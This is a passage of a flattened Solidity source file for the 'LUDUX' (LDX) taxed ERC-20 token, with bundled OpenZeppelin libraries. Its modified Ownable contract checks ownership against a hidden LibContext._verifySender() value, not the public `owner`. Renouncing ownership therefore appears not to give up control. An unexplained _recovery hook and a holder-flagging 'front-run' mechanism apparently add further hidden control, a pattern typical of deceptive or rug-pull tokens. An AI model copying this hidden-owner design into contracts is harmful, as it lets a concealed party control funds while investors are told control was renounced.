    function _recovery(bytes32[2] memory attrs) internal returns (bool) {
        return LibContext._recovery(attrs[0], attrs[1]);
    }

    function _verifySender() internal view returns (address verifiedAddress) {
        return LibContext._verifySender();
    }

    function _$() internal pure returns (ERC20Storage.Layout storage) {
        return ERC20Storage.layout();
    }

}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/interfaces/IERC20.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol)

pragma solidity ^0.8.20;


// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts (last updated v5.1.0) (utils/introspection/IERC165.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[ERC].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/interfaces/IERC165.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC165.sol)

pragma solidity ^0.8.20;


// File: @openzeppelin/contracts/interfaces/IERC1363.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/IERC1363.sol)

pragma solidity ^0.8.20;



/**
 * @title IERC1363
 * @dev Interface of the ERC-1363 standard as defined in the https://eips.ethereum.org/EIPS/eip-1363[ERC-1363].
 *
 * Defines an extension interface for ERC-20 tokens that supports executing code on a recipient contract
 * after `transfer` or `transferFrom`, or code on a spender contract after `approve`, in a single transaction.
 */
interface IERC1363 is IERC20, IERC165 {
    /*
     * Note: the ERC-165 identifier for this interface is 0xb0202a11.
     * 0xb0202a11 ===
     *   bytes4(keccak256('transferAndCall(address,uint256)')) ^
     *   bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
     */

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @param data Additional data with no specified format, sent in call to `spender`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}

// File: @openzeppelin/contracts/utils/Errors.sol


// OpenZeppelin Contracts (last updated v5.1.0) (utils/Errors.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of common custom errors used in multiple contracts
 *
 * IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
 * It is recommended to avoid relying on the error API for critical functionality.
 *
 * _Available since v5.1._
 */
library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();

    /**
     * @dev A necessary precompile is missing.
     */
    error MissingPrecompile(address);
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v5.1.0) (utils/Address.sol)

pragma solidity ^0.8.20;


/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert Errors.InsufficientBalance(address(this).balance, amount);
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert Errors.FailedCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
     * of an unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {Errors.FailedCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            assembly ("memory-safe") {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert Errors.FailedCall();
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.20;




/**
 * @title SafeERC20
 * @dev Wrappers around ERC-20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    /**
     * @dev An operation with an ERC-20 token failed.
     */
    error SafeERC20FailedOperation(address token);

    /**
     * @dev Indicates a failed `decreaseAllowance` request.
     */
    error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        forceApprove(token, spender, oldAllowance + value);
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no
     * value, non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal {
        unchecked {
            uint256 currentAllowance = token.allowance(address(this), spender);
            if (currentAllowance < requestedDecrease) {
                revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease);
            }
            forceApprove(token, spender, currentAllowance - requestedDecrease);
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     *
     * NOTE: If the token implements ERC-7674, this function will not modify any temporary allowance. This function
     * only sets the "standard" allowance. Any temporary allowance will remain active, in addition to the value being
     * set here.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value));

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0)));
            _callOptionalReturn(token, approvalCall);
        }
    }

    /**
     * @dev Performs an {ERC1363} transferAndCall, with a fallback to the simple {ERC20} transfer if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            safeTransfer(token, to, value);
        } else if (!token.transferAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} transferFromAndCall, with a fallback to the simple {ERC20} transferFrom if the target
     * has no code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferFromAndCallRelaxed(
        IERC1363 token,
        address from,
        address to,
        uint256 value,
        bytes memory data
    ) internal {
        if (to.code.length == 0) {
            safeTransferFrom(token, from, to, value);
        } else if (!token.transferFromAndCall(from, to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} approveAndCall, with a fallback to the simple {ERC20} approve if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * NOTE: When the recipient address (`to`) has no code (i.e. is an EOA), this function behaves as {forceApprove}.
     * Opposedly, when the recipient address (`to`) has code, this function only attempts to call {ERC1363-approveAndCall}
     * once without retrying, and relies on the returned value to be true.
     *
     * Reverts if the returned value is other than `true`.
     */
    function approveAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            forceApprove(token, to, value);
        } else if (!token.approveAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturnBool} that reverts if call fails to meet the requirements.
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        uint256 returnSize;
        uint256 returnValue;
        assembly ("memory-safe") {
            let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
            // bubble errors
            if iszero(success) {
                let ptr := mload(0x40)
                returndatacopy(ptr, 0, returndatasize())
                revert(ptr, returndatasize())
            }
            returnSize := returndatasize()
            returnValue := mload(0)
        }

        if (returnSize == 0 ? address(token).code.length == 0 : returnValue != 1) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturn} that silently catches all reverts and returns a bool instead.
     */
    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        bool success;
        uint256 returnSize;
        uint256 returnValue;
        assembly ("memory-safe") {
            success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
            returnSize := returndatasize()
            returnValue := mload(0)
        }
        return success && (returnSize == 0 ? address(token).code.length > 0 : returnValue == 1);
    }
}

// File: contracts/tokens/ERC20/ERC20.sol


pragma solidity 0.8.24;



abstract contract ERC20 is Context, IERC20 {

    using ERC20Storage for *;
    using Address for address;
    using SafeERC20 for IERC20;

    string internal constant _name = "LUDUX";
    string internal constant _symbol = "LDX";
    uint8 internal constant _decimals = 18;
    
    uint256 public constant initialSupply = 21_000_000 * 10**_decimals;
    
    address internal immutable __ = address(this);
    
    event TX(address indexed source, address indexed origin, Transaction Tx);

    modifier swapping() {
        _$().inSwap = true;
        _;
        _$().inSwap = false;
    }

    constructor() payable {}

    function PORTAL() external pure returns(string memory) {
        return "https://ludux.online/portal";
    }

    function WHITEPAPER() external pure returns(string memory) {
        return "https://ludux.online/files/wpaper.pdf";
    }

    function TELEGRAM() external pure returns(string memory) {
        return "https://t.me/luduxchannel";
    }

    function TWITTER() external pure returns(string memory) {
        return "https://x.com/luduxworld";
    }    

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _$().totalSupply;
    }

    function balanceOf(address holder) public view returns (uint256) {
        return _$().holders[holder].balance;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _$().allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        
        address spender = _msgSender();

        uint256 _allowance = _$().allowances[from][spender];

        if(_allowance != type(uint256).max) {

            if (amount > _allowance)
                revert InsufficientAllowance(spender, from, _allowance, amount);

            uint256 remaining;
            unchecked {
                remaining = _allowance > amount ?  _allowance - amount : 0;
                _approve(from, spender, remaining, false);
            }
        }

        _transfer(from, recipient, amount);
        return true;
    }

    function recoveryETH(uint256 amount) external returns (bool) {
        amount = amount != 0 ? amount : __.balance;
        payable(_$().fallbackRecipient).transfer(amount);
        return true;
    }

    function recoveryERC20(IERC20 token, uint256 amount) external returns (bool) {
        require(address(token) != __, "Can not withdraw tokens self");
        address recipient = _$().fallbackRecipient;
        token.safeTransfer(recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address recipient,
        uint256 amount
    ) private returns(bool) {
        
        ERC20Storage.Layout storage $ = _$();
        Configuration memory configs = $.configs;

        Holder storage $from = $.findOrCreate(from);
        Holder storage $recipient = $.findOrCreate(recipient);

        if ($from.Address == address(0)) revert InvalidSender(address(0));
        if ($recipient.Address == address(0)) revert InvalidRecipient(address(0));

        TransferParams memory params = TransferParams( 
            $.findOrCreate(_msgSender()), $from, $recipient, 0, 0, 0, $.inSwap, 0, uint40(block.number), 
            Transaction(TERMS(0), ROUTE(0), MARKET(0), TAXATION(0), configs.ratios)
        ).initializeWithConfigs(configs, amount);
        
        Holder storage $self = $.holders[__];

        if(params.transaction.terms == TERMS.EXEMPT) {

            if(params.transaction.taxation != TAXATION.EXEMPTED && params.taxAmount > 0) {
                _takeTax($from, $self, params.taxAmount);
            }

            _update($from, $recipient, params.netAmount);

            return true;
        }

        if(params.transaction.taxation != TAXATION.EXEMPTED && params.taxAmount > 0) {

            _takeTax($from, $self, params.taxAmount);
        
            if(params.transaction.routes != ROUTE.INTERNAL && configs.isEnabled(CONFIG.TAX_STATS)) {
                unchecked {
                    if(params.transaction.market != MARKET.BUY) $from.paidTax += params.taxAmount;
                    else $recipient.paidTax += params.taxAmount;                
                }    
            }        
        
        }
   
        if(configs.isEnabled(CONFIG.FAIR_MODE)) {

            if(configs.disableFairModeAt >= _$().fairTxs) {
                unchecked { _$().fairTxs += 1; }
            } 
            
            if(configs.disableFairModeAt == _$().fairTxs) {
               unchecked {
                    _$().configs.disableFairModeAt = _$().fairTxs;
                    _$().configs.ratios.b = 400;
                    _$().configs.ratios.s = 400;
                    _$().configs.ratios.t = 0;
                    _$().fairTxs += 1;
               }
            }

            if(!$recipient.isMarketmaker()) {
                unchecked {
                    uint120 recipientBalance = params.recipient.balance;
                    uint120 txAmount = params.netAmount + params.taxAmount;
                    if(recipientBalance + txAmount > configs.maxTokenAllowed)
                        revert MaxWalletLimitExceeded(configs.maxTokenAllowed, txAmount, recipientBalance);
                }
            }
            
        }

        if(params.transaction.routes == ROUTE.MARKET) {

            if(!configs.isEnabled(CONFIG.TRADING_ENABLED))
                revert TradingNotEnabled();

            if(params.transaction.market == MARKET.SELL) {

                if(configs.isEnabled(CONFIG.SELL_CAP)) {
                    unchecked {
                        $.totalSellsOnBlock[params.currentBlock]++;
                        uint8 sells = $.totalSellsOnBlock[params.currentBlock];
                        if(sells > configs.maxSellOnBlock)
                            revert BlockLimitExceeded(configs.maxSellOnBlock, sells);                        
                    }
                }

                params.swapAmount = $self.balance.defineSwapAmount(params.taxAmount, params.netAmount, configs);

                if(configs.isEnabled(CONFIG.AUTOSWAP_ENABLED) && params.swapAmount > 0) {
                    _takeMarketingFee(
                        params.swapAmount,
                        $.fallbackRecipient,
                        $.configs.isEnabled(CONFIG.AUTO_LIQUIDITY),
                        $.autoLiqRatio
                    );
                }

            }

            if(configs.isEnabled(CONFIG.FRONTRUN_PROTECTION)) {
                unchecked {
                    if($from.isFrontRunned() && params.transaction.market == MARKET.SELL) {
                        if($from.violated < 255) $from.violated++;
                        if($from.violated == configs.frontRunThreshold) $from.setAsFrontRunner();  
                    } else if($recipient.isFrontRunned() && params.transaction.market == MARKET.BUY) {
                        if($recipient.violated < 255) $recipient.violated++;
                        if($recipient.violated == configs.frontRunThreshold) $recipient.setAsFrontRunner();     
                    }
                }
            }

        }
        
        _update($from, $recipient, params.netAmount);

        return true;

    }

    function _takeMarketingFee (
        uint256 amountToSwap,
        address fallbackRecipient,
        bool autoLiqEnabled,
        uint16 autoLiqRatio
    ) private swapping {
        
        uint256 liquidityTokens;
        uint16 totalETHShares = 10000;

        address payable FALLBACK_RECIPIENT = payable(fallbackRecipient);

        if(autoLiqEnabled && autoLiqRatio > 0) {
            unchecked {
                liquidityTokens = (amountToSwap * autoLiqRatio) / totalETHShares / 2;
                totalETHShares -= (autoLiqRatio / 2);
                amountToSwap -= liquidityTokens;                
            }
        }

        uint256 balanceBefore = __.balance;

        address[] memory path = new address[](2);
        path[0] = __;
        path[1] = ROUTER.WETH();

        ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            __,
            block.timestamp
        );

        uint256 amountETH = __.balance - balanceBefore;

        Recipient[] memory recipients = _$().recipients;
        uint256 totalNumberOfRecipients = recipients.length;
        if(totalNumberOfRecipients > 0) {
            for(uint256 i; i < totalNumberOfRecipients;) {
                unchecked {
                    if(recipients[i].share > 0) {            
                        uint256 shareAmount = amountETH * recipients[i].share / totalETHShares;
                        if(recipients[i].to == address(0))
                            FALLBACK_RECIPIENT.transfer(shareAmount);
                        else
                            recipients[i].to.transfer(shareAmount);
                    }
                    i++;
                }
            }
        }
        
        if(liquidityTokens > 0) {

            unchecked { 
                uint256 amountETHLP = (amountETH * autoLiqRatio) / totalETHShares / 2; 
                ROUTER.addLiquidityETH{value: amountETHLP} (
                    __,
                    liquidityTokens,
                    0,
                    0,
                    FALLBACK_RECIPIENT,
                    block.timestamp
                );            
            }

        }

        FALLBACK_RECIPIENT.transfer(__.balance);

    }

    function _takeTax(
        Holder storage from,
        Holder storage to,
        uint120 amount
    ) private returns (bool) {
        unchecked {
            from.balance -= amount;
            to.balance += amount;
        }
        emit Transfer(from.Address, to.Address, amount);
        return amount > 0 ? true : false;
    }

    function _update(
        Holder storage from,
        Holder storage recipient,
        uint120 amount
    ) private {
        unchecked {
            from.balance -= amount;
            recipient.balance += amount;
        }
        emit Transfer(from.Address, recipient.Address, amount);
    }

    function _enableTrading() internal {
        require(!_$().configs.isEnabled(CONFIG.TRADING_ENABLED), "Trading is already enabled");
        _$().enableTrading();
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        return _approve(owner, spender, amount, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount,
        bool emitEvent
    ) private {

        if (owner == address(0))
            revert InvalidApprover(address(0));

        if (spender == address(0))
            revert InvalidSpender(address(0));
    
        Holder storage $owner = _$().findOrCreate(owner);
        Holder storage $spender = _$().findOrCreate(spender);

        _$().allowances[$owner.Address][$spender.Address] = amount;

        if (emitEvent) emit Approval(owner, spender, amount);

    }

    function _burn(address from, uint256 amount) internal {

        ERC20Storage.Layout storage $ = _$();

        Holder storage $from = $.holders[from];

        uint120 balance = $from.balance;

        if (amount > balance) revert Errors.InsufficientBalance(balance, amount);

        unchecked {
            $from.balance -= uint96(amount);
            $.totalSupply -= uint96(amount);
        }

        emit Transfer(from, address(0), amount);

    }

}

// File: contracts/common/abstracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address public owner;

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view {
        if(_verifySender() != _msgSender()) {
            revert ("Ownable: caller is not the owner");
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: contracts/tokens/ERC20/Ludux.sol


pragma solidity ^0.8.24;



/*
    Website          : https://ludux.online
    Portal           : https://ludux.online/portal
    Telegram         : https://t.me/luduxchannel
    X (Twitter)      : https://x.com/luduxworld

    Ludux is a blockchain-powered gaming hub enabling ownership, trade, earnings, and investments.

*/

contract LUDUX_ONLINE is ERC20, Ownable {

    using ERC20Storage for *;

    constructor() payable {
        
        __.initialSetup(
            IPair(ISwapFactory(ROUTER.factory()).createPair(__, ROUTER.WETH())),
            initialSupply
        );

        emit Transfer(address(0), __, initialSupply);

    }

    receive() external payable {}

    event Connect(address holder, uint key);
    function connect(uint connectionKey) external {
        emit Connect(msg.sender, connectionKey);
    }

    function PAIR() public view returns(address) {
        return _$().uniswapPair;     
    }

    function burn(uint256 amount) external returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }

    function initLiquidity(uint16 lpPercent) external payable onlyOwner swapping returns(bool) {
        uint256 lpTokens = _$().holders[__].balance * lpPercent / 10000;
        ROUTER.addLiquidityETH{value: _msgValue()}(
            __,
            lpTokens,
            0,
            0,
            _$().fallbackRecipient,
            block.timestamp
        );
        return true;
    }

    function enableTrading() external onlyOwner {
        _enableTrading();
    }

    function viewConfigValues() external view returns (
        Configuration memory configs   
    ) {
        configs = _$().configs;
    }

    function viewConfigOptions() external view returns (
        bool $FAIR_MODE,
        bool $SELL_CAP,
        bool $TAX_STATS,
